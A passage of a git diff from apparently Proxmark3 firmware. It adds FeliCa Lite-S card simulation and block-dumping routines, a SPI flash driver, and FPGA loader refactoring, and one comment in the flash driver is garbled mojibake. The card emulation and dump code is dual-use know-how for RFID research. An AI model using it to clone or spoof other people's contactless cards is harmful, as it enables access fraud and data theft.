FPGA_HF_ISO18092_FLAG_NOMOD); + + bool listenmode = true; + //uint32_t frtm = GetCountSspClk(); + for(;;) { + if( BUTTON_PRESS()) break; + WDT_HIT(); + + if (listenmode) { + //waiting for request... + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + + uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); + //frtm = GetCountSspClk(); + ProcessNFCByte(dist); + + if (NFCFrame.state == STATE_FULL) { + + if (NFCFrame.crc_ok) { + + if (NFCFrame.framebytes[2] == 6 && NFCFrame.framebytes[3] == 0) { + + //polling... there are two types of polling we answer to + if (NFCFrame.framebytes[6] == 0) { + curresp = resp_poll0; + curlen = R_POLL0_LEN; + listenmode = false; + } + if (NFCFrame.framebytes[6] == 1) { + curresp = resp_poll1; + curlen = R_POLL1_LEN; + listenmode = true; + } + } + + if (NFCFrame.framebytes[2] > 5 && NFCFrame.framebytes[3] == 0x06) { + //we should rebuild it depending on page size, but... + //Let's see first + curresp = resp_readblk; + curlen = R_READBLK_LEN; + listenmode = false; + } + //clear frame + NFCFrameReset(); + } else { + //frame invalid, clear it out to allow for the next one + NFCFrameReset(); + } + } + } + } + if (!listenmode) { + //trying to answer... here to start answering immediately. + //this one is a bit finicky. Seems that being a bit late is better than earlier + //TransmitFor18092_AsReader(curresp, curlen, frtm+512, 0, 0); + TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0); + + //switch back + FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); + + NFCFrameReset(); + listenmode = true; + curlen = 0; + curresp = NULL; + } + } + + switch_off(); + + //reset framing + AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); + + DbpString("Felica Lite-S sim end"); +} + +void felica_dump_lite_s() { + + uint8_t ndef[8]; + uint8_t poll[10] = { 0xb2,0x4d,0x06,0x00,0xff,0xff,0x00,0x00,0x09,0x21}; + uint16_t liteblks[28] = {0x00, 0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x90,0x91,0x92,0xa0}; + + // setup device. + felica_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); + + uint8_t blknum; + bool isOK = false; + uint16_t cnt = 0, cntfails = 0; + uint8_t *dest = BigBuf_get_addr(); + + while (!BUTTON_PRESS() && !usb_poll_validate_length()) { + + WDT_HIT(); + + // polling? + //TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0); + TransmitFor18092_AsReader(poll, 10, NULL, 1, 0); + + if (WaitForFelicaReply(512) && NFCFrame.framebytes[3] == FELICA_POLL_ACK) { + + // copy 8bytes to ndef. + memcpy(ndef, NFCFrame.framebytes + 4, 8); + // for (c=0; c < 8; c++) + // ndef[c] = NFCFrame.framebytes[c+4]; + + for (blknum=0; blknum < sizeof(liteblks); ) { + + // block to read. + BuildFliteRdblk(ndef, 1, &liteblks[blknum]); + + //TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0); + TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, NULL, 1, 0); + + // read block + if (WaitForFelicaReply(1024) && NFCFrame.framebytes[3] == FELICA_RDBLK_ACK) { + + dest[cnt++] = liteblks[blknum]; + + uint8_t *fb = NFCFrame.framebytes; + dest[cnt++] = fb[12]; + dest[cnt++] = fb[13]; + + //memcpy(dest+cnt, NFCFrame.framebytes + 15, 16); + //cnt += 16; + for(uint8_t j=0; j < 16; j++) + dest[cnt++] = fb[15+j]; + + blknum++; + cntfails = 0; + + // // print raw log. + // Dbprintf("LEN %u | Dump bytes count %u ", NFCFrame.len, cnt); + Dbhexdump(NFCFrame.len, NFCFrame.framebytes+15, 0); + } else { + cntfails++; + if (cntfails > 12) { + blknum++; + cntfails = 0; + } + } + } + isOK = true; + break; + } + } + + switch_off(); + + //Resetting Frame mode (First set in fpgaloader.c) + AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); + + //setting tracelen - important! it was set by buffer overflow before + set_tracelen(cnt); + cmd_send(CMD_ACK, isOK, cnt, 0, 0, 0); +} diff --git a/armsrc/flashmem.c b/armsrc/flashmem.c new file mode 100644 index 000000000..7c5beb47a --- /dev/null +++ b/armsrc/flashmem.c @@ -0,0 +1,417 @@ +#include "flashmem.h" + +/* here: use NCPS2 @ PA10: */ +#define SPI_CSR_NUM 2 // Chip Select register[] 0,1,2,3 (at91samv512 has 4) + +/* PCS_0 for NPCS0, PCS_1 for NPCS1 ... */ +#define PCS_0 ((0<<0)|(1<<1)|(1<<2)|(1<<3)) // 0xE - 1110 +#define PCS_1 ((1<<0)|(0<<1)|(1<<2)|(1<<3)) // 0xD - 1101 +#define PCS_2 ((1<<0)|(1<<1)|(0<<2)|(1<<3)) // 0xB - 1011 +#define PCS_3 ((1<<0)|(1<<1)|(1<<2)|(0<<3)) // 0x7 - 0111 + +// TODO +#if (SPI_CSR_NUM == 0) +#define SPI_MR_PCS PCS_0 +#elif (SPI_CSR_NUM == 1) +#define SPI_MR_PCS PCS_1 +#elif (SPI_CSR_NUM == 2) +#define SPI_MR_PCS PCS_2 +#elif (SPI_CSR_NUM == 3) +#define SPI_MR_PCS PCS_3 +#else +#error "SPI_CSR_NUM invalid" +// not realy - when using an external address decoder... +// but this code takes over the complete SPI-interace anyway +#endif + + +/* + ¶ÁȡָÁ¿ÉÒÔ´ÓÒ»¸öλÖÿªÊ¼³ÖÐøµÄ¶Á£¬×î¶àÄܽ«Õû¿éоƬ¶ÁÈ¡Íê + ҳдָÁÿ´ÎдÈëΪ1-256×Ö½Ú£¬µ«ÊDz»ÄÜ¿çÔ½256×ֽڱ߽ç + ²Á³ýÖ¸Á²Á³ýÖ¸Áîºó±ØÐ뽫CSÀ­¸ß£¬·ñÔò²»»áÖ´ÐÐ +*/ + +void FlashSetup(void) { + // PA1 -> SPI_NCS3 chip select (MEM) + // PA10 -> SPI_NCS2 chip select (LCD) + // PA11 -> SPI_NCS0 chip select (FPGA) + // PA12 -> SPI_MISO Master-In Slave-Out + // PA13 -> SPI_MOSI Master-Out Slave-In + // PA14 -> SPI_SPCK Serial Clock + + // Disable PIO control of the following pins, allows use by the SPI peripheral + AT91C_BASE_PIOA->PIO_PDR |= (GPIO_NCS0 | GPIO_MISO | GPIO_MOSI | GPIO_SPCK | GPIO_NCS2); + + // Pull-up Enable + AT91C_BASE_PIOA->PIO_PPUER |= (GPIO_NCS0 | GPIO_MISO | GPIO_MOSI | GPIO_SPCK | GPIO_NCS2); + + // Peripheral A + AT91C_BASE_PIOA->PIO_ASR |= (GPIO_NCS0 | GPIO_MISO | GPIO_MOSI | GPIO_SPCK); + + // Peripheral B + AT91C_BASE_PIOA->PIO_BSR |= GPIO_NCS2; + + //enable the SPI Peripheral clock + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_SPI); + + // Enable SPI + AT91C_BASE_SPI->SPI_CR = AT91C_SPI_SPIEN; + + // NPCS2 Mode 0 + AT91C_BASE_SPI->SPI_MR = + ( 0 << 24) | // Delay between chip selects (take default: 6 MCK periods) + (0xB << 16) | // Peripheral Chip Select (selects SPI_NCS2 or PA10) + ( 0 << 7) | // Local Loopback Disabled + ( 1 << 4) | // Mode Fault Detection disabled + ( 0 << 2) | // Chip selects connected directly to peripheral + ( 0 << 1) | // Fixed Peripheral Select + ( 1 << 0); // Master Mode + + // 8 bit + AT91C_BASE_SPI->SPI_CSR[2] = + ( 0 << 24) | // Delay between Consecutive Transfers (32 MCK periods) + ( 0 << 16) | // Delay Before SPCK (1 MCK period) + ( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud + ( 0 << 4) | // Bits per Transfer (8 bits) + ( 1 << 3) | // Chip Select inactive after transfer + ( 1 << 1) | // Clock Phase data captured on leading edge, changes on following edge + ( 0 << 0); // Clock Polarity inactive state is logic 0 + + // read first, empty buffer + if (AT91C_BASE_SPI->SPI_RDR == 0) {}; +} + +void FlashStop(void) { + //* Reset all the Chip Select register + AT91C_BASE_SPI->SPI_CSR[0] = 0; + AT91C_BASE_SPI->SPI_CSR[1] = 0; + AT91C_BASE_SPI->SPI_CSR[2] = 0; + AT91C_BASE_SPI->SPI_CSR[3] = 0; + + // Reset the SPI mode + AT91C_BASE_SPI->SPI_MR = 0; + + // Disable all interrupts + AT91C_BASE_SPI->SPI_IDR = 0xFFFFFFFF; + + // SPI disable + AT91C_BASE_SPI->SPI_CR = AT91C_SPI_SPIDIS; + + if ( MF_DBGLEVEL > 3 ) Dbprintf("FlashStop"); + + StopTicks(); +} + +// send one byte over SPI +uint16_t FlashSendByte(uint32_t data) { + uint16_t incoming = 0; + + WDT_HIT(); + + // wait until SPI is ready for transfer + while ((AT91C_BASE_SPI->SPI_SR & AT91C_SPI_TXEMPTY) == 0) {}; + + // send the data + AT91C_BASE_SPI->SPI_TDR = data; + + // wait recive transfer is complete + while ((AT91C_BASE_SPI->SPI_SR & AT91C_SPI_RDRF) == 0) + WDT_HIT(); + + // reading incoming data + incoming = ((AT91C_BASE_SPI->SPI_RDR) & 0xFFFF); + + return incoming; +} + +// send last byte over SPI +uint16_t FlashSendLastByte(uint32_t data) { + return FlashSendByte(data | AT91C_SPI_LASTXFER); +} + +// read state register 1 +uint8_t Flash_ReadStat1(void) { + FlashSendByte(READSTAT1); + uint8_t stat1 = FlashSendLastByte(0xFF); +// if ( MF_DBGLEVEL > 3 ) Dbprintf("stat1 [%02x]", stat1); + return stat1; +} + +// read state register 2 +uint8_t Flash_ReadStat2(void) { + FlashSendByte(READSTAT2); + uint8_t stat2 = FlashSendLastByte(0xFF); +// if ( MF_DBGLEVEL > 3 ) Dbprintf("stat2 [%02x]", stat2); + return stat2; +} + +// determine whether FLASHMEM is busy +bool Flash_CheckBusy(uint16_t times) { + bool ret = (Flash_ReadStat1() & BUSY); + + if (!ret || !times || !(times--)) + return ret; + + while (times) { + WDT_HIT(); + SpinDelay(1); + ret = (Flash_ReadStat1() & BUSY); + if (!ret) + break; + times--; + } + return ret; +} + +// read ID out +uint8_t Flash_ReadID(void) { + + if (Flash_CheckBusy(100)) return 0; + + // Manufacture ID / device ID + FlashSendByte(ID); + FlashSendByte(0x00); + FlashSendByte(0x00); + FlashSendByte(0x00); + + uint8_t man_id = FlashSendByte(0xFF); + uint8_t dev_id = FlashSendLastByte(0xFF); + + if ( MF_DBGLEVEL > 3 ) Dbprintf("Flash ReadID | Man ID %02x | Device ID %02x", man_id, dev_id); + + if ( (man_id == WINBOND_MANID ) && (dev_id == WINBOND_DEVID) ) + return dev_id; + + return 0; +} + +// read unique id for chip. +void Flash_UniqueID(uint8_t *uid) { + + if (Flash_CheckBusy(100)) return; + + // reading unique serial number + FlashSendByte(UNIQUE_ID); + FlashSendByte(0xFF); + FlashSendByte(0xFF); + FlashSendByte(0xFF); + FlashSendByte(0xFF); + + uid[7] = FlashSendByte(0xFF); + uid[6] = FlashSendByte(0xFF); + uid[5] = FlashSendByte(0xFF); + uid[4] = FlashSendByte(0xFF); + uid[3] = FlashSendByte(0xFF); + uid[2] = FlashSendByte(0xFF); + uid[1] = FlashSendByte(0xFF); + uid[0] = FlashSendLastByte(0xFF); +} + +uint16_t Flash_ReadData(uint32_t address, uint8_t *out, uint16_t len) { + + if (!FlashInit()) return 0; + + Flash_ReadStat1(); + + // length should never be zero + if (!len || Flash_CheckBusy(100)) return 0; + + FlashSendByte(READDATA); + FlashSendByte((address >> 16) & 0xFF); + FlashSendByte((address >> 8) & 0xFF); + FlashSendByte((address >> 0) & 0xFF); + + uint16_t i = 0; + for (; i < (len - 1); i++) + out[i] = FlashSendByte(0xFF); + + out[i] = FlashSendLastByte(0xFF); + + FlashStop(); + return len; +} + +// Write data can only program one page. A page has 256 bytes. +// if len > 256, it might wrap around and overwrite pos 0. +uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len) { + + // length should never be zero + if (!len) + return 0; + + // Max 256 bytes write + if (((address & 0xFF) + len) > 256) { + Dbprintf("Flash_WriteData 256 fail [ 0x%02x ] [ %u ]", (address & 0xFF)+len, len ); + return 0; + } + + // out-of-range + if ( (( address >> 16 ) & 0xFF ) > MAX_BLOCKS) { + Dbprintf("Flash_WriteData, block out-of-range"); + return 0; + } + + if (!FlashInit()) { + if ( MF_DBGLEVEL > 3 ) Dbprintf("Flash_WriteData init fail"); + return 0; + } + + Flash_ReadStat1(); + + Flash_WriteEnable(); + + FlashSendByte(PAGEPROG); + FlashSendByte((address >> 16) & 0xFF); + FlashSendByte((address >> 8) & 0xFF); + FlashSendByte((address >> 0) & 0xFF); + + uint16_t i = 0; + for (; i < (len - 1); i++) + FlashSendByte(in[i]); + + FlashSendLastByte(in[i]); + + FlashStop(); + return len; +} + +bool Flash_WipeMemoryPage(uint8_t page) { + if (!FlashInit()) { + if ( MF_DBGLEVEL > 3 ) Dbprintf("Flash_WriteData init fail"); + return false; + } + Flash_ReadStat1(); + + // Each block is 64Kb. One block erase takes 1s ( 1000ms ) + Flash_WriteEnable(); Flash_Erase64k(page); Flash_CheckBusy(1000); + + FlashStop(); + return true; +} +// Wipes flash memory completely, fills with 0xFF +bool Flash_WipeMemory() { + if (!FlashInit()) { + if ( MF_DBGLEVEL > 3 ) Dbprintf("Flash_WriteData init fail"); + return false; + } + Flash_ReadStat1(); + + // Each block is 64Kb. Four blocks + // one block erase takes 1s ( 1000ms ) + Flash_WriteEnable(); Flash_Erase64k(0); Flash_CheckBusy(1000); + Flash_WriteEnable(); Flash_Erase64k(1); Flash_CheckBusy(1000); + Flash_WriteEnable(); Flash_Erase64k(2); Flash_CheckBusy(1000); + Flash_WriteEnable(); Flash_Erase64k(3); Flash_CheckBusy(1000); + + FlashStop(); + return true; +} + +// enable the flash write +void Flash_WriteEnable() { + FlashSendLastByte(WRITEENABLE); + if ( MF_DBGLEVEL > 3 ) Dbprintf("Flash Write enabled"); +} + +// erase 4K at one time +// execution time: 0.8ms / 800us +bool Flash_Erase4k(uint8_t block, uint8_t sector) { + + if (block > MAX_BLOCKS || sector > MAX_SECTORS) return false; + + FlashSendByte(SECTORERASE); + FlashSendByte(block); + FlashSendByte(sector << 4); + FlashSendLastByte(00); + return true; +} + +/* +// erase 32K at one time +// execution time: 0,3s / 300ms +bool Flash_Erase32k(uint32_t address) { + if (address & (32*1024 - 1)) { + if ( MF_DBGLEVEL > 1 ) Dbprintf("Flash_Erase32k : Address is not align at 4096"); + return false; + } + FlashSendByte(BLOCK32ERASE); + FlashSendByte((address >> 16) & 0xFF); + FlashSendByte((address >> 8) & 0xFF); + FlashSendLastByte((address >> 0) & 0xFF); + return true; +} +*/ + +// erase 64k at one time +// since a block is 64kb, and there is four blocks. +// we only need block number, as MSB +// execution time: 1s / 1000ms +// 0x00 00 00 -- 0x 00 FF FF == block 0 +// 0x01 00 00 -- 0x 01 FF FF == block 1 +// 0x02 00 00 -- 0x 02 FF FF == block 2 +// 0x03 00 00 -- 0x 03 FF FF == block 3 +bool Flash_Erase64k(uint8_t block) { + + if (block > MAX_BLOCKS) return false; + + FlashSendByte(BLOCK64ERASE); + FlashSendByte(block); + FlashSendByte(0x00); + FlashSendLastByte(0x00); + return true; +} + +// Erase chip +void Flash_EraseChip(void) { + FlashSendLastByte(CHIPERASE); +} + +// initialize +bool FlashInit(void) { + FlashSetup(); + + StartTicks(); + + if (Flash_CheckBusy(100)) { + StopTicks(); + return false; + } + + if ( MF_DBGLEVEL > 3 ) Dbprintf("FlashInit OK"); + return true; +} + +void Flashmem_print_status(void) { + DbpString("Flash memory"); + + if (!FlashInit()) { + DbpString(" init....................FAIL"); + return; + } + DbpString(" init....................OK"); + + uint8_t dev_id = Flash_ReadID(); + switch (dev_id) { + case 0x11 : + DbpString(" Memory size.............2 mbits / 256kb"); + break; + case 0x10 : + DbpString(" Memory size..... .......1 mbits / 128kb"); + break; + case 0x05 : + DbpString(" Memory size.............512 kbits / 64kb"); + break; + default : + DbpString(" Device ID............... --> Unknown <--"); + break; + } + + uint8_t uid[8] = {0,0,0,0,0,0,0,0}; + Flash_UniqueID(uid); + Dbprintf(" Unique ID...............0x%02x%02x%02x%02x%02x%02x%02x%02x", + uid[7], uid[6], uid[5], uid[4], + uid[3], uid[2], uid[1], uid[0] + ); + + FlashStop(); +} \ No newline at end of file diff --git a/armsrc/flashmem.h b/armsrc/flashmem.h new file mode 100644 index 000000000..198e3392d --- /dev/null +++ b/armsrc/flashmem.h @@ -0,0 +1,139 @@ +/* Arduino SPIFlash Library v.2.5.0 + * Copyright (C) 2015 by Prajwal Bhattaram + * Modified by Prajwal Bhattaram - 13/11/2016 + * + * This file is part of the Arduino SPIFlash Library. This library is for + * Winbond NOR flash memory modules. In its current form it enables reading + * and writing individual data variables, structs and arrays from and to various locations; + * reading and writing pages; continuous read functions; sector, block and chip erase; + * suspending and resuming programming/erase and powering down for low power operation. + * + * This Library is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This Library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License v3.0 + * along with the Arduino SPIFlash Library. If not, see + * . + */ +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// +// Common Instructions // +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// +#ifndef __FLASHMEM_H +#define __FLASHMEM_H + +#include "proxmark3.h" +#include "apps.h" +#include "ticks.h" + +// Used Command +#define ID 0x90 +#define MANID 0x90 +#define JEDECID 0x9F + +#define READSTAT1 0x05 +#define READSTAT2 0x35 +#define WRITESTAT 0x01 + +#define WRITEDISABLE 0x04 +#define WRITEENABLE 0x06 + +#define READDATA 0x03 +#define PAGEPROG 0x02 + +#define SECTORERASE 0x20 +#define BLOCK32ERASE 0x52 +#define BLOCK64ERASE 0xD8 +#define CHIPERASE 0xC7 + +#define UNIQUE_ID 0x4B + +// Not used or not support command +#define RELEASE 0xAB +#define POWERDOWN 0xB9 +#define FASTREAD 0x0B +#define SUSPEND 0x75 +#define RESUME 0x7A + + +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// +// Chip specific instructions // +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// + +//~~~~~~~~~~~~~~~~~~~~~~~~~ Winbond ~~~~~~~~~~~~~~~~~~~~~~~~~// +#define WINBOND_MANID 0xEF +#define WINBOND_DEVID 0x11 +#define PAGESIZE 0x100 + +//~~~~~~~~~~~~~~~~~~~~~~~~ Microchip ~~~~~~~~~~~~~~~~~~~~~~~~// +#define MICROCHIP_MANID 0xBF +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// +// Definitions // +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// + +#define SPI_CLK 75000000 //Hex equivalent of 75MHz + +#define BUSY 0x01 +#define WRTEN 0x02 +#define SUS 0x40 + +#define DUMMYBYTE 0xEE +#define NULLBYTE 0x00 +#define NULLINT 0x0000 +#define NO_CONTINUE 0x00 +#define PASS 0x01 +#define FAIL 0x00 +#define maxAddress capacity + +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// +// List of Error codes // +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// +#define SUCCESS 0x00 +#define CALLBEGIN 0x01 +#define UNKNOWNCHIP 0x02 +#define UNKNOWNCAP 0x03 +#define CHIPBUSY 0x04 +#define OUTOFBOUNDS 0x05 +#define CANTENWRITE 0x06 +#define PREVWRITTEN 0x07 +#define LOWRAM 0x08 +#define NOSUSPEND 0x09 +#define UNKNOWNERROR 0xFF + +// List of blocks +#define MAX_BLOCKS 4 +#define MAX_SECTORS 16 + + +//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// +extern void Dbprintf(const char *fmt, ...); + +void FlashSetup(void); +void FlashStop(void); +bool Flash_WaitIdle(void); +uint8_t Flash_ReadStat1(void); +uint8_t Flash_ReadStat2(void); +uint16_t FlashSendByte(uint32_t data); + +void Flash_WriteEnable(); +bool Flash_WipeMemoryPage(uint8_t page); +bool Flash_WipeMemory(); +bool Flash_Erase4k(uint8_t block, uint8_t sector); +//bool Flash_Erase32k(uint32_t address); +bool Flash_Erase64k(uint8_t block); + +bool FlashInit(); + +void Flash_UniqueID(uint8_t *uid); +uint8_t Flash_ReadID(void); +uint16_t Flash_ReadData(uint32_t address, uint8_t *out, uint16_t len); +uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len); +void Flashmem_print_status(void); + +#endif \ No newline at end of file diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index 077b378a9..e4ab1ab0b 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -9,18 +9,44 @@ // Routines to load the FPGA image, and then to configure the FPGA's major // mode once it is configured. //----------------------------------------------------------------------------- -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" +#include "fpgaloader.h" + + +// remember which version of the bitstream we have already downloaded to the FPGA +static int downloaded_bitstream = 0; + +// this is where the bitstreams are located in memory: +extern uint8_t _binary_obj_fpga_all_bit_z_start, _binary_obj_fpga_all_bit_z_end; + +static uint8_t *fpga_image_ptr = NULL; +static uint32_t uncompressed_bytes_cnt; + +#define OUTPUT_BUFFER_LEN 80 //----------------------------------------------------------------------------- // Set up the Serial Peripheral Interface as master // Used to write the FPGA config word // May also be used to write to other SPI attached devices like an LCD //----------------------------------------------------------------------------- -void SetupSpi(int mode) -{ +static void DisableSpi(void) { + //* Reset all the Chip Select register + AT91C_BASE_SPI->SPI_CSR[0] = 0; + AT91C_BASE_SPI->SPI_CSR[1] = 0; + AT91C_BASE_SPI->SPI_CSR[2] = 0; + AT91C_BASE_SPI->SPI_CSR[3] = 0; + + // Reset the SPI mode + AT91C_BASE_SPI->SPI_MR = 0; + + // Disable all interrupts + AT91C_BASE_SPI->SPI_IDR = 0xFFFFFFFF; + + // SPI disable + AT91C_BASE_SPI->SPI_CR = AT91C_SPI_SPIDIS; +} + +void SetupSpi(int mode) { + // PA1 -> SPI_NCS3 chip select (MEM) // PA10 -> SPI_NCS2 chip select (LCD) // PA11 -> SPI_NCS0 chip select (FPGA) // PA12 -> SPI_MISO Master-In Slave-Out @@ -28,65 +54,62 @@ void SetupSpi(int mode) // PA14 -> SPI_SPCK Serial Clock // Disable PIO control of the following pins, allows use by the SPI peripheral - AT91C_BASE_PIOA->PIO_PDR = - GPIO_NCS0 | - GPIO_NCS2 | - GPIO_MISO | - GPIO_MOSI | - GPIO_SPCK; + AT91C_BASE_PIOA->PIO_PDR = GPIO_NCS0 | GPIO_MISO | GPIO_MOSI | GPIO_SPCK; - AT91C_BASE_PIOA->PIO_ASR = - GPIO_NCS0 | - GPIO_MISO | - GPIO_MOSI | - GPIO_SPCK; + // Peripheral A + AT91C_BASE_PIOA->PIO_ASR = GPIO_NCS0 | GPIO_MISO | GPIO_MOSI | GPIO_SPCK; - AT91C_BASE_PIOA->PIO_BSR = GPIO_NCS2; + // Peripheral B + //AT91C_BASE_PIOA->PIO_BSR |= GPIO_NCS2; //enable the SPI Peripheral clock - AT91C_BASE_PMC->PMC_PCER = (1<PMC_PCER = (1 << AT91C_ID_SPI); // Enable SPI AT91C_BASE_SPI->SPI_CR = AT91C_SPI_SPIEN; switch (mode) { case SPI_FPGA_MODE: AT91C_BASE_SPI->SPI_MR = - ( 0 << 24) | // Delay between chip selects (take default: 6 MCK periods) - (14 << 16) | // Peripheral Chip Select (selects FPGA SPI_NCS0 or PA11) - ( 0 << 7) | // Local Loopback Disabled - ( 1 << 4) | // Mode Fault Detection disabled - ( 0 << 2) | // Chip selects connected directly to peripheral - ( 0 << 1) | // Fixed Peripheral Select - ( 1 << 0); // Master Mode + ( 0 << 24) | // Delay between chip selects (take default: 6 MCK periods) + (0xE << 16) | // Peripheral Chip Select (selects FPGA SPI_NCS0 or PA11) + ( 0 << 7) | // Local Loopback Disabled + AT91C_SPI_MODFDIS | // Mode Fault Detection disabled + ( 0 << 2) | // Chip selects connected directly to peripheral + AT91C_SPI_PS_FIXED | // Fixed Peripheral Select + AT91C_SPI_MSTR; // Master Mode + AT91C_BASE_SPI->SPI_CSR[0] = ( 1 << 24) | // Delay between Consecutive Transfers (32 MCK periods) ( 1 << 16) | // Delay Before SPCK (1 MCK period) ( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud - ( 8 << 4) | // Bits per Transfer (16 bits) + AT91C_SPI_BITS_16 | // Bits per Transfer (16 bits) ( 0 << 3) | // Chip Select inactive after transfer - ( 1 << 1) | // Clock Phase data captured on leading edge, changes on following edge + AT91C_SPI_NCPHA | // Clock Phase data captured on leading edge, changes on following edge ( 0 << 0); // Clock Polarity inactive state is logic 0 break; - case SPI_LCD_MODE: +/* + case SPI_LCD_MODE: AT91C_BASE_SPI->SPI_MR = ( 0 << 24) | // Delay between chip selects (take default: 6 MCK periods) - (11 << 16) | // Peripheral Chip Select (selects LCD SPI_NCS2 or PA10) + (0xB << 16) | // Peripheral Chip Select (selects LCD SPI_NCS2 or PA10) ( 0 << 7) | // Local Loopback Disabled ( 1 << 4) | // Mode Fault Detection disabled ( 0 << 2) | // Chip selects connected directly to peripheral ( 0 << 1) | // Fixed Peripheral Select ( 1 << 0); // Master Mode + AT91C_BASE_SPI->SPI_CSR[2] = ( 1 << 24) | // Delay between Consecutive Transfers (32 MCK periods) ( 1 << 16) | // Delay Before SPCK (1 MCK period) ( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud - ( 1 << 4) | // Bits per Transfer (9 bits) + AT91C_SPI_BITS_9 | // Bits per Transfer (9 bits) ( 0 << 3) | // Chip Select inactive after transfer ( 1 << 1) | // Clock Phase data captured on leading edge, changes on following edge ( 0 << 0); // Clock Polarity inactive state is logic 0 break; - default: // Disable SPI - AT91C_BASE_SPI->SPI_CR = AT91C_SPI_SPIDIS; +*/ + default: + DisableSpi(); break; } } @@ -95,8 +118,7 @@ void SetupSpi(int mode) // Set up the synchronous serial port, with the one set of options that we // always use when we are talking to the FPGA. Both RX and TX are enabled. //----------------------------------------------------------------------------- -void FpgaSetupSsc(void) -{ +void FpgaSetupSscExt(uint8_t clearPCER) { // First configure the GPIOs, and get ourselves a clock. AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_FRAME | @@ -105,11 +127,14 @@ void FpgaSetupSsc(void) GPIO_SSC_CLK; AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT; - AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_SSC); + if ( clearPCER ) + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_SSC); + else + AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_SSC); // Now set up the SSC proper, starting from a known state. AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST; - + // RX clock comes from TX clock, RX starts when TX starts, data changes // on RX clock rising edge, sampled on falling edge AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1); @@ -127,31 +152,102 @@ void FpgaSetupSsc(void) AT91C_BASE_SSC->SSC_CR = AT91C_SSC_RXEN | AT91C_SSC_TXEN; } - +void FpgaSetupSsc(void) { + FpgaSetupSscExt(true); +} //----------------------------------------------------------------------------- // Set up DMA to receive samples from the FPGA. We will use the PDC, with // a single buffer as a circular buffer (so that we just chain back to // ourselves, not to another buffer). The stuff to manipulate those buffers // is in apps.h, because it should be inlined, for speed. //----------------------------------------------------------------------------- -bool FpgaSetupSscDma(uint8_t *buf, int len) -{ - if (buf == NULL) { - return false; - } +bool FpgaSetupSscDma(uint8_t *buf, int len) { + if (buf == NULL) return false; - AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer + FpgaDisableSscDma(); AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) buf; // transfer to this memory address AT91C_BASE_PDC_SSC->PDC_RCR = len; // transfer this many bytes AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) buf; // next transfer to same memory address AT91C_BASE_PDC_SSC->PDC_RNCR = len; // ... with same number of bytes - AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // go! - - return true; + FpgaEnableSscDma(); + return true; } -static void DownloadFPGA_byte(unsigned char w) -{ +//---------------------------------------------------------------------------- +// Uncompress (inflate) the FPGA data. Returns one decompressed byte with 